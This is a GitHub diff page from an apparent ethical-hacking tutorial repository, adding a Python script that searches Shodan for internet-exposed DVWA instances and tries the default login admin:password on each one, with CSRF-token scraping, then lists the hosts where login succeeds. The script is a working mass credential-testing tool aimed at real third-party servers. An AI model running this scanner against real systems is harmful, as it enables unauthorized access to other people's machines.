| FazBrowse GitHub Viewer | Trending | | Home |
| Tools: [Download Repo ZIP] [Original HTTPS Page] |
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -30,6 +30,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy | |||
| 30 | 30 | - [How to Crack PDF Files in Python](https://www.thepythoncode.com/article/crack-pdf-file-password-in-python). ([code](ethical-hacking/pdf-cracker)) | |
| 31 | 31 | - [How to Build a SQL Injection Scanner in Python](https://www.thepythoncode.com/code/sql-injection-vulnerability-detector-in-python). ([code](ethical-hacking/sql-injection-detector)) | |
| 32 | 32 | - [How to Extract Chrome Passwords in Python](https://www.thepythoncode.com/article/extract-chrome-passwords-python). ([code](ethical-hacking/chrome-password-extractor)) | |
| 33 | + - [How to Use Shodan API in Python](https://www.thepythoncode.com/article/using-shodan-api-in-python). ([code](ethical-hacking/shodan-api)) | ||
| 33 | 34 | ||
| 34 | 35 | - ### [Machine Learning](https://www.thepythoncode.com/topic/machine-learning) | |
| 35 | 36 | - ### [Natural Language Processing](https://www.thepythoncode.com/topic/nlp) | |
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -0,0 +1,5 @@ | |||
| 1 | + # [How to Use Shodan API in Python](https://www.thepythoncode.com/article/using-shodan-api-in-python) | ||
| 2 | + To run this: | ||
| 3 | + - `pip3 install -r requirements.txt` | ||
| 4 | + - Get Shodan API key and edit `shodan_api.py` API key and change on your needs. | ||
| 5 | + - Run `shodan_api.py` | ||
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -0,0 +1,2 @@ | |||
| 1 | + shodan | ||
| 2 | + requests | ||
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -0,0 +1,77 @@ | |||
| 1 | + import shodan | ||
| 2 | + import time | ||
| 3 | + import requests | ||
| 4 | + import re | ||
| 5 | + | ||
| 6 | + # your shodan API key | ||
| 7 | + SHODAN_API_KEY = '<YOUR_SHODAN_API_KEY_HERE>' | ||
| 8 | + api = shodan.Shodan(SHODAN_API_KEY) | ||
| 9 | + | ||
| 10 | + # requests a page of data from shodan | ||
| 11 | + def request_page_from_shodan(query, page=1): | ||
| 12 | + while True: | ||
| 13 | + try: | ||
| 14 | + instances = api.search(query, page=page) | ||
| 15 | + return instances | ||
| 16 | + except shodan.APIError as e: | ||
| 17 | + print(f"Error: {e}") | ||
| 18 | + time.sleep(5) | ||
| 19 | + | ||
| 20 | + | ||
| 21 | + # Try the default credentials on a given instance of DVWA, simulating a real user trying the credentials | ||
| 22 | + # visits the login.php page to get the CSRF token, and tries to login with admin:password | ||
| 23 | + def has_valid_credentials(instance): | ||
| 24 | + sess = requests.Session() | ||
| 25 | + proto = ('ssl' in instance) and 'https' or 'http' | ||
| 26 | + try: | ||
| 27 | + res = sess.get(f"{proto}://{instance['ip_str']}:{instance['port']}/login.php", verify=False) | ||
| 28 | + except requests.exceptions.ConnectionError: | ||
| 29 | + return False | ||
| 30 | + if res.status_code != 200: | ||
| 31 | + print(f"[-] Got HTTP status code {res.status_code}, expected 200") | ||
| 32 | + return False | ||
| 33 | + # search the CSRF token using regex | ||
| 34 | + token = re.search(r"user_token' value='([0-9a-f]+)'", res.text).group(1) | ||
| 35 | + res = sess.post( | ||
| 36 | + f"{proto}://{instance['ip_str']}:{instance['port']}/login.php", | ||
| 37 | + f"username=admin&password=password&user_token={token}&Login=Login", | ||
| 38 | + allow_redirects=False, | ||
| 39 | + verify=False, | ||
| 40 | + headers={'Content-Type': 'application/x-www-form-urlencoded'} | ||
| 41 | + ) | ||
| 42 | + if res.status_code == 302 and res.headers['Location'] == 'index.php': | ||
| 43 | + # Redirects to index.php, we expect an authentication success | ||
| 44 | + return True | ||
| 45 | + else: | ||
| 46 | + return False | ||
| 47 | + | ||
| 48 | + # Takes a page of results, and scans each of them, running has_valid_credentials | ||
| 49 | + def process_page(page): | ||
| 50 | + result = [] | ||
| 51 | + for instance in page['matches']: | ||
| 52 | + if has_valid_credentials(instance): | ||
| 53 | + print(f"[+] valid credentials at : {instance['ip_str']}:{instance['port']}") | ||
| 54 | + result.append(instance) | ||
| 55 | + return result | ||
| 56 | + | ||
| 57 | + # searches on shodan using the given query, and iterates over each page of the results | ||
| 58 | + def query_shodan(query): | ||
| 59 | + print("[*] querying the first page") | ||
| 60 | + first_page = request_page_from_shodan(query) | ||
| 61 | + total = first_page['total'] | ||
| 62 | + already_processed = len(first_page['matches']) | ||
| 63 | + result = process_page(first_page) | ||
| 64 | + page = 2 | ||
| 65 | + while already_processed < total: | ||
| 66 | + # break just in your testing, API queries have monthly limits | ||
| 67 | + break | ||
| 68 | + print("querying page {page}") | ||
| 69 | + page = request_page_from_shodan(query, page=page) | ||
| 70 | + already_processed += len(page['matches']) | ||
| 71 | + result += process_page(page) | ||
| 72 | + page += 1 | ||
| 73 | + return result | ||
| 74 | + | ||
| 75 | + # search for DVWA instances | ||
| 76 | + res = query_shodan('title:dvwa') | ||
| 77 | + print(res) | ||
| Back | FazBrowse Home | New Git URL |
0 commit comments